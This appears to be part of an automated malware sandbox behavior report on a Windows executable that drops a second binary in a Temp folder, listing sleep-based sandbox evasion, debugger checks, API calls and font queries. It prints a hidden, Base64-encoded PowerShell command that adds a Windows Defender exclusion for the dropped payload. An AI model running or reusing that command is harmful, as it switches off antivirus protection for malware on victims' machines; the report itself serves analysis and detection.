Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -98828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -98719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -98594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -98484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -98375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -98189s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5428	Thread sleep count: 5641 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2364	Thread sleep count: 4209 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3052	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC098C0 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,		8_2_00000218BFC098C0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC09810 FindClose,FindFirstFileExW,GetLastError,		8_2_00000218BFC09810

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBD13B0 GetLogicalDriveStringsW,

8_2_00000218BFBD13B0

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBE7348 VirtualQuery,GetSystemInfo,VirtualAlloc,VirtualProtect,

8_2_00000218BFBE7348

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 99516	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 98828	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 98719	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 98594	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 98484	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 98375	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 98189	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 98000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\migration\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\replacementmanifests\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\migration\wtr\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\replacementmanifests\hwvid-migration-2\	Jump to behavior

Source: 3UuxTH6FMX.exe, 00000008.00000002.2192668397.00000218BE206000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2097994185.00000218BE206000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 3UuxTH6FMX.exe, 00000008.00000002.2193147052.00000218BFD7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9RM52QaURq.exe, 00000000.00000002.2140192999.0000000007250000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	API call chain: ExitProcess graph end node			graph_8-78718
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	API call chain: ExitProcess graph end node			graph_8-78723

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBD43F0 RtlAcquirePebLock,NtAllocateVirtualMemory,lstrcpyW,lstrcatW,NtAllocateVirtualMemory,lstrcpyW,RtlInitUnicodeString,RtlInitUnicodeString,LdrEnumerateLoadedModules,RtlReleasePebLock,CoInitializeEx,lstrcpyW,lstrcatW,CoGetObject,lstrcpyW,lstrcatW,CoGetObject,CoUninitialize,

8_2_00000218BFBD43F0

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFC0BB14 GetLastError,IsDebuggerPresent,OutputDebugStringW,

8_2_00000218BFC0BB14

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFC0BB14 GetLastError,IsDebuggerPresent,OutputDebugStringW,

8_2_00000218BFC0BB14

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFB8B820 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

8_2_00000218BFB8B820

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBF7F00 GetProcessHeap,

8_2_00000218BFBF7F00

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBDF920 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00000218BFBDF920
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC222D8 SetUnhandledExceptionFilter,	8_2_00000218BFC222D8
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA1200B0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FF7AA1200B0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA12D180 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00007FF7AA12D180

Source: C:\Users\user\Desktop\9RM52QaURq.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath 'C:\Users\jones\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe'
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath 'C:\Users\jones\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe'			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBC51E0 ShellExecuteW,

8_2_00000218BFBC51E0

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA			Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe "C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe"			Jump to behavior

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -noprofile -windowstyle hidden -encodedcommand qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaccaqwa6afwavqbzaguacgbzafwaagbvag4azqbzafwaqqbwahaarabhahqayqbcaewabwbjageababcafqazqbtahaaxaazadgasabzaheadwbiagwaygbhafwamwbvahuaeabuaegangbgae0awaauaguaeablacca
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -noprofile -windowstyle hidden -encodedcommand qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaccaqwa6afwavqbzaguacgbzafwaagbvag4azqbzafwaqqbwahaarabhahqayqbcaewabwbjageababcafqazqbtahaaxaazadgasabzaheadwbiagwaygbhafwamwbvahuaeabuaegangbgae0awaauaguaeablacca			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	8_2_00000218BFBF6F14
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: EnumSystemLocalesW,	8_2_00000218BFBEBC68
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_00000218BFBF795C
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: GetLocaleInfoW,	8_2_00000218BFBF7828
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_00000218BFBF7778
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: GetLocaleInfoW,	8_2_00000218BFBF7620
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: GetLocaleInfoEx,FormatMessageA,	8_2_00000218BFC09480
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: GetLocaleInfoW,	8_2_00000218BFC22398
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_00000218BFBF73D8
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: EnumSystemLocalesW,	8_2_00000218BFBF7340
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: EnumSystemLocalesW,	8_2_00000218BFBF7270
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: GetLocaleInfoW,	8_2_00000218BFBEC1A8

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Users\user\Desktop\9RM52QaURq.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
